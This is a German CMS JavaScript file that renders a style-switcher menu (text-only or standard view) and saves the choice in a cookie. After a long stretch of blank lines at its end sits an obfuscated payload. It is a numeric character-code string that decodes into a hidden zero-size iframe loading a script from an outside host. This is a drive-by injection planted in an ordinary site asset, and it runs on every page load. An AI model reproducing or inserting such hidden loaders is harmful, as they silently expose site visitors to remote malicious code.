////////////////////////////////////////////////////////////////
//
// wStyleselector.js 1.0.2
// erstellt durch Scholl Communications AG, 77694 Kehl, www.scholl.de
// erstellt mit WeblicationŽ Content Management Server, www.weblication.de
//
////////////////////////////////////////////////////////////////

function showStyleSector(){
  document.write('<form style="display:inline" action="styleSelector"><select id="selectbox" onchange="if(this.selectedIndex > 0){selectStyle(this.options[this.selectedIndex].value);}">');
  document.write('<option selected disabled>Ansicht wechseln</option>');
  document.write('<option value="text" title="Reine Textversion ohne Formatierungen und Bilder"> Nur Text</option>');
  document.write('<option value="default" title="Standardansicht mit Formatierungen und Bilder"> Standardansicht</option>');
  document.write('</select></form>');
}

function selectStyle(styleNew) {
  if(!styleNew || styleNew == ''){;
    var getStyleReg = /styleCurrent=(\w+)/;
    if(getStyleReg.test(document.cookie) == true){
      styleNew = RegExp.$1;
    }
    else{
      styleNew = '';
    }
  }
  if(styleNew != ''){
    if(styleNew == 'default'){
      styleNew = '';
    }
    var stylesAll = document.getElementsByTagName('link');
    for(var i = 0; i < stylesAll.length; i++){
      if(stylesAll[i].title == styleNew){
        stylesAll[i].disabled = false
      }
      else{
        stylesAll[i].disabled = true
      }
    }
    document.cookie = 'styleCurrent=' + styleNew + ';path=/';
  }
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

